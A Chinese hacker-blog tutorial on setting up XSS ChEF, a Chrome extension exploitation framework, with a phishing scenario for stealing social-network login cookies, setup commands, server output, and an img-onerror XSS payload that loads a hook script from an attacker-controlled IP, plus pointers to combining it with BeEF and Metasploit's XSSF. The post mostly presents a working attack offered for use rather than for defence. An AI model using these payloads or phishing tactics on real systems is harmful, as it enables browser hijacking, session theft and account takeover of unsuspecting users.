记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

XSS ChEF v1.0图文教程

2015-06-04 23:55

我们都知道XSS漏洞有两种最基本的形式,保存型XSS和反射型XSS,保存型XSS是可以把跨站脚本持久化,如果在处理用户输入的时候没有编码并 且在页面进行渲染的时候没有去对动态输出的内容进行编码处理,那么所有访问这个页面的用户都会中招。而反射型XSS是通过精心构建一个url,url的请 求参数里面含有跨站脚本,页面没有过滤就直接显示了请求参数的内容,那么用户就会遭到XSS攻击。XSS Filter主要是针对于反射型的XSS攻击。关于反射型的XSS,也许会有人问,怎么会有人去访问这样一个不明不白的链接呢?想象这样一个场景,假设某 个喜欢乱发垃圾邮件的SNS网站存在一个XSS漏洞,并且你设置的是该网站自动登录,我想盗你的号,并且我知道你最近在暗恋那谁家的小谁!并且在这个 SNS上她是你的好友!有了这些个信息,那么盗你的号就是易如反掌了,首先我会精心构建一个带有跨站脚本参数的链接,然后伪造一封该SNS的提醒邮件,说 谁家那小谁评论了你的照片说你帅!评论的链接指向这个恶意的uri,并且修改from头是从该SNS网站发来的,那么你收到这封邮件,即使你的安全意识很 强,但是你确定你能很淡定的检查完URL再去点开吗?如果你一旦点开,我就会拿到你的登录Cookie或者是抓取你SNS的一些个人隐私内容!而且如果我 想盗很多人的号,那么就可以把谁家那小谁换成是参加XXX网举办的XXX活动免费送XXX之类的内容,然后找个肉鸡群发邮件!相信喜欢免费XXX的人还是 很多的!所以说妈妈从小教育我,人多热闹的地方不要随便往上凑!多数不安全!这条原则看来同样适合于网络!

Chrome引入了XSS Filter就是为了保护我们这些在种种诱惑之下不能淡定的用户,XSS Filter的基本原则就是在执行每一段javascript脚本的时候都去与请求参数进行对比,如果在要执行的javascript脚本也同样存在于请 求参数之中,那么就会暂停执行这段脚本。这个看上去不错,当然也有很多方法去绕过这个过滤,网上已经有大牛公布了一些方法,有些官方已经修复,有些还尚未 修复,可能还有很多的0day没有公布.
Krzysztof Kotowicz ( https://github.com/koto/xsschef )写了一个工具,Chrome终结者 :XSS ChEF

获得源码
 


root@Dis9Team:~# cd /var/www/
root@Dis9Team:/var/www# git clone https://github.com/koto/xsschef.git
Cloning into xsschef...
remote: Counting objects: 540, done.
remote: Compressing objects: 100% (297/297), done.
remote: Total 540 (delta 333), reused 446 (delta 239)
Receiving objects: 100% (540/540), 310.97 KiB | 102 KiB/s, done.
Resolving deltas: 100% (333/333), done.
root@Dis9Team:/var/www/xsschef# ls
bootstrap hook.php README.md server-xhr.php tools
console.html LICENCE server.js snippets vulnerable_chrome_extension
favicon.ico php-websocket server.php snippets.xml.php xsschef.js
root@Dis9Team:/var/www/xsschef#
Node.js


他提供两种启动方式, Node.js 和PHP,对于 Node.js 这种高级货,是一套用来编写高性能网络服务器的JavaScript工具包,很是不懂,既然不懂就用它把
 


root@Dis9Team:/var/www/xsschef# sudo apt-get install libssl-dev
root@Dis9Team:/var/www/xsschef# cd /tmp
root@Dis9Team:/tmp# wget http://nodejs.org/dist/v0.8.7/node-v0.8.7-linux-x86.tar.gz
root@Dis9Team:/tmp# tar xf node-v0.8.7-linux-x86.tar.gz.0
root@Dis9Team:/tmp# cd node-v0.8.7-linux-x86
root@Dis9Team:/tmp/node-v0.8.7-linux-x86# mkdir /usr/local/node
root@Dis9Team:/tmp/node-v0.8.7-linux-x86# cp -rf * /usr/local/node/

root@Dis9Team:/tmp/node-v0.8.7-linux-x86# ln -s /usr/local/node/bin/n* /usr/bin/
基本装好了 安装组件


root@Dis9Team:/tmp/node-v0.8.7-linux-x86/node_modules# cd /usr/local/node/
root@Dis9Team:/usr/local/node# npm install websocket
root@Dis9Team:/usr/local/node# npm install node-static

启动服务端


root@Dis9Team:/var/www/xsschef# node server.js
XSS ChEF server
by Krzysztof Kotowicz - kkotowicz at gmail dot com

Usage: node server.js [port=8080]
Communication is logged to stderr, use node server.js [port] 2>log.txt
Wed Aug 22 2012 03:20:10 GMT-0700 (PDT) ChEF server is listening on port 8080
Wed Aug 22 2012 03:20:10 GMT-0700 (PDT) Console URL: http://127.0.0.1:8080/
Wed Aug 22 2012 03:20:10 GMT-0700 (PDT) Hook URL: http://127.0.0.1:8080/hook

Hook:http://127.0.0.1:8080/hook
UI: http://127.0.0.1:8080/


在界面模式点击 GET HOOK CODE就出来了eg:


if(location.protocol.indexOf('chrome')==0){d=document;e=createElement('script');e.src='__HOOK_URL__';d.body.appendChild(e);}

and:

<img src=x onerror="if(location.protocol.indexOf('chrome')==0){d=document;e=createElement('script');e.src='__HOOK_URL__';d.body.appendChild(e);}">

把 __HOOK_URL__ 替换成你的HOOK地址: http://127.0.0.1:8080/hook.php 换成外网IP,我的则是 :

<img src=x onerror="if(location.protocol.indexOf('chrome')==0){d=document;e=createElement('script');e.src='http://5.5.5.4:8080/hook.php';d.body.appendChild(e);}">

测试攻击
他提供了一个CHROME插件vulnerable_chrome_extension,在XSSCHEF跟目录

Chrome安装这个插件

运行插件 插入XSS HOOK代码

查找会话

选择会话

我们就能对他进行一些邪恶操作

他默认提供很多eval代码

猥琐的JS

配合BEEF和XSSF
XSSF
启动XSSF

msf > xssf_urls
[+] XSSF Server : 'http://10.0.3.15:8888/' or 'http://:8888/'
[+] Generic XSS injection: 'http://10.0.3.15:8888/loop' or 'http://:8888/loop'
[+] XSSF test page : 'http://10.0.3.15:8888/test.html' or 'http://:8888/test.html'

[+] XSSF Tunnel Proxy : 'localhost:8889'
[+] XSS


F logs page : 'http://localhost:8889/gui.html?guipage=main'
[+] XSSF statistics page: 'http://localhost:8889/gui.html?guipage=stats'
[+] XSSF help page : 'http://localhost:8889/gui.html?guipage=help'
msf >

hook : http://5.5.5.4:8888/loop插入:

BEEF
启动BEEF 如上…
知识来源: www.2cto.com/Article/201506/404723.html

阅读:120649 | 评论:0 | 标签:xss

想收藏或者和大家分享这篇好文章→复制链接地址

“XSS ChEF v1.0图文教程”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词